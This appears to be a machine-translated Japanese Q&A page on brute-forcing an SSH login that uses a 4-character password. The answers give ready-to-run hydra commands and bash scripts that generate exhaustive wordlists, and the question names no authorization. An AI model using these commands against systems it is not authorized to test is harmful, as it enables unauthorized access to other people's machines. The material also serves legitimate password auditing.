web-dev-qa-db-ja.com

4文字のパスワードしか持たないSSHログインをブルートフォース

特定のコンピュータがそのような短いパスワードでのみ保護されていることを知っているとしたら、考えられるすべての組み合わせを簡単に試すことができます。

パスワードを解読しようとするスクリプトはどのように見えますか?

何かのようなもの

#!/bin/bash
wordlist=create_wordlist(); # external defined
for i in $(cat $wordlist); do
  echo ssh username@localhost pipe password $i here; 
done

(わかっています、これは良い例ではありませんが、私のbashスキルはまだそれほど良くありません)

6
rubo77

hydraはパスワードを生成します。ブルートフォースを使用する場合は、これらを個別に生成する必要はありません。

hydra -l user_name -V -x 4:4:aA1 ip_address ssh

-Vは冗長を意味し、-x 4:4:aA1は最小が4文字、最大が4文字であることを意味します。文字のリストはaで示されるa-z、Aで示されるA-Z、1で示される0-9です。%_-+/のような他の文字を追加できます。

スペース、^、&、*、または ":のような特殊文字を追加する場合は、-xオプションをアポストロフィで囲む必要があります。

hydra -t 128 -l user_name -V -x '4:4:aA1"@#$!()=`~?><;:%^&*_-+/,.\ ' localhost ssh
17
GMaster

これにはbashなどの汎用スクリプト言語を使用できますが、とにかく速度の観点から THC-Hydra のようなブルー​​トフォース攻撃のテストに焦点を当てたセキュリティツールを使用すると、より良い結果が得られる可能性があります。

11
Rory McCune

これが結論です:

nano /tmp/create_wordlist_case_sensitive.sh

#!/usr/bin/bash
letters="- . , _ "$(echo {0..9} {A..z})
run1=( `echo $(echo $letters) | sed 's/\[ \] \^ \_ \` //'` )
run2=( `echo $(echo $letters) | sed 's/\[ \] \^ \_ \` //'` )
run3=( `echo $(echo $letters) | sed 's/\[ \] \^ \_ \` //'` )
run4=( `echo $(echo $letters) | sed 's/\[ \] \^ \_ \` //'` )

echo '-'
for a in "${run1[@]}"
  do
  echo "$a"
  for b in "${run2[@]}"
    do
    echo "$a$b"
    for c in "${run3[@]}"
      do
      echo "$a$b$c"
        for d in "${run4[@]}"
        do
        echo "$a$b$c$d"
      done
    done
  done
done    

bash /tmp/create_wordlist_case_sensitive.sh >/tmp/Word_list_long.txt

hydra -l john -P /tmp/Word_list_long.txt attack_Host ssh
1
rubo77

以下は、4文字の可能な組み合わせすべてのリストを生成する2つのbashスクリプトです。最初は小文字の組み合わせ(create_wordlist_case_insensitive.sh)、2番目は大文字と小文字のすべての組み合わせ(create_wordlist_case_sensitive.sh)。

$ cat create_wordlist_case_insensitive.sh
#!/usr/bin/bash

for a in {a..z}
 do
  for b in {a..z}
   do
    for c in {a..z}
     do
      for d in {a..z}
       do
        echo "$a$b$c$d"
       done
     done
   done
 done


$ cat create_wordlist_case_sensitive.sh
#!/usr/bin/bash

run1=( `echo $(echo {A..z}) | sed 's/\[ \] \^ \_ \` //'` )
run2=( `echo $(echo {A..z}) | sed 's/\[ \] \^ \_ \` //'` )
run3=( `echo $(echo {A..z}) | sed 's/\[ \] \^ \_ \` //'` )
run4=( `echo $(echo {A..z}) | sed 's/\[ \] \^ \_ \` //'` )

for a in "${run1[@]}"
 do
  for b in "${run2[@]}"
   do
    for c in "${run3[@]}"
     do
      for d in "${run4[@]}"
       do
        echo "$a$b$c$d"
       done
     done
   done
 done

これらを使用して、次のようにワードリストファイルを作成します。

$ create_wordlist_case_insensitive.sh >Word_list_short.txt
$ create_wordlist_case_sensitive.sh >Word_list_long.txt

その後、スクリプトは次のように必要なファイルをループできます。

$ cat forceit.sh
#!/usr/bin/bash

while read line
 do
  echo "Trying: $line"
  echo ssh intaudftp@file --password "$line" ## NOT REAL CODE
 done < Word_list_short.txt

このコードは実際には機能しないことを除いて、bc sshはパスワードを引数として受け入れません。

コードのそのセグメントをexpectで自動化する必要がありますが、ここではその方法を説明しません。あるいは、telnetのように、引数としてパスワードを受け入れる別のコマンドを使用できると思います。

0
nullrevolution